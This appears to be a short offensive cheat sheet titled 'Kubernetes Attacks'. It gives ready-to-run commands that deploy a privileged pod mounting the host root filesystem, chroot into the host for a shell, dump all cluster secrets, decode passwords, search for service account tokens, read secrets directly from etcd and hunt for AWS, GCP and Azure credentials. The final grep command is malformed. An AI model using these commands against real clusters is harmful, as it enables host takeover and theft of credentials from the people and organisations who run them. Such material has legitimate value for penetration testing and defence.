Kubernetes Attacks

# If you can create pods, create a privileged one
cat << EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: pwned
spec:
  containers:
  - name: pwned
    image: ubuntu
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
EOF

# Get shell and access host filesystem
kubectl exec -it pwned -- chroot /host bash

# Get all secrets
kubectl get secrets -A -o yaml

# Decode base64 secrets
kubectl get secret <name> -o jsonpath='{.data.password}' | base64 -d

# Look for service account tokens
kubectl get secrets -A | grep token

# Extract etcd secrets directly
etcdctl get /registry/secrets --prefix --keys-only
etcdctl get /registry/secrets/default/mysecret

# Cloud provider credentials
kubectl get secrets -n kube-system | grep -i aws|gcp|azure